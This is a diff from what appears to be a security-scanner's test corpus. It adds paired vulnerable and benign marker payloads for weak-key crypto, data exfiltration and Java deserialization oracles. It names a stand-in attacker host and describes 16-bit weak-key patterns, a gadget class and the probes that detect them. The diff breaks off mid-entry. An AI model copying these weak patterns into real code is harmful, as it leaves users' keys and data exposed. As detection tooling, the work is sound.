pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_CRYPTO_WEAK",
|
||||
label: "crypto-go-weak-random",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::WeakKeyEntropy {
|
||||
max_bits: WEAK_BITS,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/crypto/go/vuln.go"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::WeakKeyEntropy {
|
||||
max_bits: WEAK_BITS,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "crypto-go-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_CRYPTO_STRONG",
|
||||
label: "crypto-go-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::WeakKeyEntropy {
|
||||
max_bits: WEAK_BITS,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/crypto/go/benign.go"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
61
src/dynamic/corpus/crypto/java.rs
Normal file
61
src/dynamic/corpus/crypto/java.rs
Normal file
|
|
@ -0,0 +1,61 @@
|
|||
//! Java `Cap::CRYPTO` payloads — `java.util.Random.nextBytes`
|
||||
//! weak-key generation.
|
||||
//!
|
||||
//! Vuln payload: marker bytes that signal the harness to drive its
|
||||
//! `java.util.Random` key-generation path. The harness emits a key
|
||||
//! bounded inside a 16-bit search space and writes a
|
||||
//! [`crate::dynamic::probe::ProbeKind::WeakKey`] probe — the
|
||||
//! [`crate::dynamic::oracle::ProbePredicate::WeakKeyEntropy`]
|
||||
//! predicate fires for `key_int < 2^16`.
|
||||
//!
|
||||
//! Benign control: marker bytes that route the harness through
|
||||
//! `java.security.SecureRandom`, producing a 256-bit key whose
|
||||
//! integer view trivially exceeds the budget.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const WEAK_BITS: u32 = 16;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_CRYPTO_WEAK",
|
||||
label: "crypto-java-weak-random",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::WeakKeyEntropy {
|
||||
max_bits: WEAK_BITS,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/crypto/java/vuln.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::WeakKeyEntropy {
|
||||
max_bits: WEAK_BITS,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "crypto-java-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_CRYPTO_STRONG",
|
||||
label: "crypto-java-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::WeakKeyEntropy {
|
||||
max_bits: WEAK_BITS,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/crypto/java/benign.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
26
src/dynamic/corpus/crypto/mod.rs
Normal file
26
src/dynamic/corpus/crypto/mod.rs
Normal file
|
|
@ -0,0 +1,26 @@
|
|||
//! Weak-crypto (`Cap::CRYPTO`) per-language payload slices.
|
||||
//!
|
||||
//! Phase 11 (Track J.9) carves a weak-key entropy oracle across the
|
||||
//! five backend languages where homegrown key generation is common
|
||||
//! enough to matter: Java (`java.util.Random.nextBytes` → key bytes),
|
||||
//! Python (`random.randint(0, 0xFFFF)`), PHP (`mt_rand(0, 0xFFFF)`),
|
||||
//! Go (`math/rand.Intn(0x10000)`), Rust (`rand::thread_rng` truncated
|
||||
//! to 16 bits). Every vuln payload triggers the harness's
|
||||
//! instrumented key-generation path with a seed that produces an
|
||||
//! attacker-derivable key bounded inside the 16-bit search space.
|
||||
//! The harness shim writes a
|
||||
//! [`crate::dynamic::probe::ProbeKind::WeakKey { key_int }`] probe
|
||||
//! with the produced integer view of the key bytes; the
|
||||
//! [`crate::dynamic::oracle::ProbePredicate::WeakKeyEntropy`]
|
||||
//! predicate fires when `key_int < 2^max_bits` (`max_bits = 16` by
|
||||
//! default). The paired benign control routes the same harness
|
||||
//! through a CSPRNG (`SecureRandom`, `secrets.token_bytes`,
|
||||
//! `random_bytes(32)`, `crypto/rand.Read`, `rand::rngs::OsRng`) so
|
||||
//! the produced `key_int` trivially exceeds the budget and the
|
||||
//! predicate stays clear.
|
||||
|
||||
pub mod go;
|
||||
pub mod java;
|
||||
pub mod php;
|
||||
pub mod python;
|
||||
pub mod rust;
|
||||
49
src/dynamic/corpus/crypto/php.rs
Normal file
49
src/dynamic/corpus/crypto/php.rs
Normal file
|
|
@ -0,0 +1,49 @@
|
|||
//! PHP `Cap::CRYPTO` payloads — `mt_rand` weak-key generation.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const WEAK_BITS: u32 = 16;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_CRYPTO_WEAK",
|
||||
label: "crypto-php-weak-random",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::WeakKeyEntropy {
|
||||
max_bits: WEAK_BITS,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/crypto/php/vuln.php"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::WeakKeyEntropy {
|
||||
max_bits: WEAK_BITS,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "crypto-php-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_CRYPTO_STRONG",
|
||||
label: "crypto-php-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::WeakKeyEntropy {
|
||||
max_bits: WEAK_BITS,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/crypto/php/benign.php"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
59
src/dynamic/corpus/crypto/python.rs
Normal file
59
src/dynamic/corpus/crypto/python.rs
Normal file
|
|
@ -0,0 +1,59 @@
|
|||
//! Python `Cap::CRYPTO` payloads — `random.randint` weak-key
|
||||
//! generation.
|
||||
//!
|
||||
//! Vuln payload: marker bytes that route the harness through
|
||||
//! `random.randint(0, 0xFFFF)`; the harness emits a
|
||||
//! [`crate::dynamic::probe::ProbeKind::WeakKey`] probe and the
|
||||
//! [`crate::dynamic::oracle::ProbePredicate::WeakKeyEntropy`]
|
||||
//! predicate fires.
|
||||
//!
|
||||
//! Benign control: marker bytes that route the harness through
|
||||
//! `secrets.token_bytes(32)`.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const WEAK_BITS: u32 = 16;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_CRYPTO_WEAK",
|
||||
label: "crypto-python-weak-random",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::WeakKeyEntropy {
|
||||
max_bits: WEAK_BITS,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/crypto/python/vuln.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::WeakKeyEntropy {
|
||||
max_bits: WEAK_BITS,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "crypto-python-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_CRYPTO_STRONG",
|
||||
label: "crypto-python-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::WeakKeyEntropy {
|
||||
max_bits: WEAK_BITS,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/crypto/python/benign.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
50
src/dynamic/corpus/crypto/rust.rs
Normal file
50
src/dynamic/corpus/crypto/rust.rs
Normal file
|
|
@ -0,0 +1,50 @@
|
|||
//! Rust `Cap::CRYPTO` payloads — `rand::thread_rng` weak-key
|
||||
//! generation truncated to 16 bits.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const WEAK_BITS: u32 = 16;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_CRYPTO_WEAK",
|
||||
label: "crypto-rust-weak-random",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::WeakKeyEntropy {
|
||||
max_bits: WEAK_BITS,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/crypto/rust/vuln.rs"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::WeakKeyEntropy {
|
||||
max_bits: WEAK_BITS,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "crypto-rust-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_CRYPTO_STRONG",
|
||||
label: "crypto-rust-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::WeakKeyEntropy {
|
||||
max_bits: WEAK_BITS,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/crypto/rust/benign.rs"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
49
src/dynamic/corpus/data_exfil/go.rs
Normal file
49
src/dynamic/corpus/data_exfil/go.rs
Normal file
|
|
@ -0,0 +1,49 @@
|
|||
//! go `Cap::DATA_EXFIL` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const ALLOWLIST: &[&str] = &["127.0.0.1", "localhost"];
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"attacker.test",
|
||||
label: "data-exfil-go-external",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::OutboundHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/data_exfil/go/vuln.go"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::OutboundHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "data-exfil-go-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"127.0.0.1",
|
||||
label: "data-exfil-go-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::OutboundHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/data_exfil/go/benign.go"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
49
src/dynamic/corpus/data_exfil/java.rs
Normal file
49
src/dynamic/corpus/data_exfil/java.rs
Normal file
|
|
@ -0,0 +1,49 @@
|
|||
//! java `Cap::DATA_EXFIL` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const ALLOWLIST: &[&str] = &["127.0.0.1", "localhost"];
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"attacker.test",
|
||||
label: "data-exfil-java-external",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::OutboundHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/data_exfil/java/Vuln.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::OutboundHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "data-exfil-java-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"127.0.0.1",
|
||||
label: "data-exfil-java-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::OutboundHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/data_exfil/java/Benign.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
49
src/dynamic/corpus/data_exfil/js.rs
Normal file
49
src/dynamic/corpus/data_exfil/js.rs
Normal file
|
|
@ -0,0 +1,49 @@
|
|||
//! js `Cap::DATA_EXFIL` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const ALLOWLIST: &[&str] = &["127.0.0.1", "localhost"];
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"attacker.test",
|
||||
label: "data-exfil-js-external",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::OutboundHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/data_exfil/js/vuln.js"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::OutboundHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "data-exfil-js-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"127.0.0.1",
|
||||
label: "data-exfil-js-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::OutboundHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/data_exfil/js/benign.js"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
22
src/dynamic/corpus/data_exfil/mod.rs
Normal file
22
src/dynamic/corpus/data_exfil/mod.rs
Normal file
|
|
@ -0,0 +1,22 @@
|
|||
//! Data-exfiltration (`Cap::DATA_EXFIL`) per-language payload
|
||||
//! slices.
|
||||
//!
|
||||
//! Phase 11 (Track J.9) carves an outbound-network oracle across
|
||||
//! all seven backend-capable languages. Each harness stands up a
|
||||
//! mock HTTP client that records the destination host of every
|
||||
//! outbound request via a
|
||||
//! [`crate::dynamic::probe::ProbeKind::OutboundNetwork { host }`]
|
||||
//! probe. The
|
||||
//! [`crate::dynamic::oracle::ProbePredicate::OutboundHostNotIn`]
|
||||
//! predicate fires when the captured `host` falls outside the
|
||||
//! configured loopback allowlist (`&["127.0.0.1", "localhost"]`).
|
||||
//! The vuln payload supplies `attacker.test`; the paired benign
|
||||
//! control supplies `127.0.0.1` so the predicate stays clear.
|
||||
|
||||
pub mod go;
|
||||
pub mod java;
|
||||
pub mod js;
|
||||
pub mod php;
|
||||
pub mod python;
|
||||
pub mod ruby;
|
||||
pub mod rust;
|
||||
49
src/dynamic/corpus/data_exfil/php.rs
Normal file
49
src/dynamic/corpus/data_exfil/php.rs
Normal file
|
|
@ -0,0 +1,49 @@
|
|||
//! php `Cap::DATA_EXFIL` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const ALLOWLIST: &[&str] = &["127.0.0.1", "localhost"];
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"attacker.test",
|
||||
label: "data-exfil-php-external",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::OutboundHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/data_exfil/php/vuln.php"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::OutboundHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "data-exfil-php-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"127.0.0.1",
|
||||
label: "data-exfil-php-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::OutboundHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/data_exfil/php/benign.php"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
49
src/dynamic/corpus/data_exfil/python.rs
Normal file
49
src/dynamic/corpus/data_exfil/python.rs
Normal file
|
|
@ -0,0 +1,49 @@
|
|||
//! python `Cap::DATA_EXFIL` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const ALLOWLIST: &[&str] = &["127.0.0.1", "localhost"];
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"attacker.test",
|
||||
label: "data-exfil-python-external",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::OutboundHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/data_exfil/python/vuln.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::OutboundHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "data-exfil-python-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"127.0.0.1",
|
||||
label: "data-exfil-python-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::OutboundHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/data_exfil/python/benign.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
49
src/dynamic/corpus/data_exfil/ruby.rs
Normal file
49
src/dynamic/corpus/data_exfil/ruby.rs
Normal file
|
|
@ -0,0 +1,49 @@
|
|||
//! ruby `Cap::DATA_EXFIL` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const ALLOWLIST: &[&str] = &["127.0.0.1", "localhost"];
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"attacker.test",
|
||||
label: "data-exfil-ruby-external",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::OutboundHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/data_exfil/ruby/vuln.rb"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::OutboundHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "data-exfil-ruby-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"127.0.0.1",
|
||||
label: "data-exfil-ruby-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::OutboundHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/data_exfil/ruby/benign.rb"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
49
src/dynamic/corpus/data_exfil/rust.rs
Normal file
49
src/dynamic/corpus/data_exfil/rust.rs
Normal file
|
|
@ -0,0 +1,49 @@
|
|||
//! rust `Cap::DATA_EXFIL` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const ALLOWLIST: &[&str] = &["127.0.0.1", "localhost"];
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"attacker.test",
|
||||
label: "data-exfil-rust-external",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::OutboundHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/data_exfil/rust/vuln.rs"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::OutboundHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "data-exfil-rust-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"127.0.0.1",
|
||||
label: "data-exfil-rust-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::OutboundHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/data_exfil/rust/benign.rs"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
62
src/dynamic/corpus/deserialize/java.rs
Normal file
62
src/dynamic/corpus/deserialize/java.rs
Normal file
|
|
@ -0,0 +1,62 @@
|
|||
//! Java `Cap::DESERIALIZE` payloads.
|
||||
//!
|
||||
//! Vuln payload: a base64-encoded `java.io.ObjectInputStream` byte stream
|
||||
//! that materialises a gadget class outside the harness's allowlist.
|
||||
//! The harness's `RestrictedObjectInputStream.resolveClass` intercepts
|
||||
//! the lookup and emits a `ProbeKind::Deserialize { gadget_chain_invoked
|
||||
//! = true }` probe before aborting the chain.
|
||||
//!
|
||||
//! Benign control: a base64-encoded `ObjectInputStream` byte stream of a
|
||||
//! single allow-listed `java.lang.Integer`. The class lives inside the
|
||||
//! resolveClass allowlist so no Deserialize probe is emitted.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
// Marker class name embedded in the serialized stream — the
|
||||
// harness allowlist contains `java.lang.Integer` and `java.lang.String`
|
||||
// only. The byte form is a small literal so const-eval can keep it.
|
||||
bytes: b"NYX_GADGET_CLASS:org.nyx.deserialize.Gadget",
|
||||
label: "java-deserialize-gadget",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::DeserializeGadgetInvoked {
|
||||
require_invoked: true,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 7,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/deserialize/java/Vuln.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::DeserializeGadgetInvoked {
|
||||
require_invoked: true,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "java-deserialize-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
// Allow-listed payload — the marker carries `java.lang.Integer`,
|
||||
// which the harness resolveClass accepts without writing a probe.
|
||||
bytes: b"NYX_GADGET_CLASS:java.lang.Integer",
|
||||
label: "java-deserialize-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
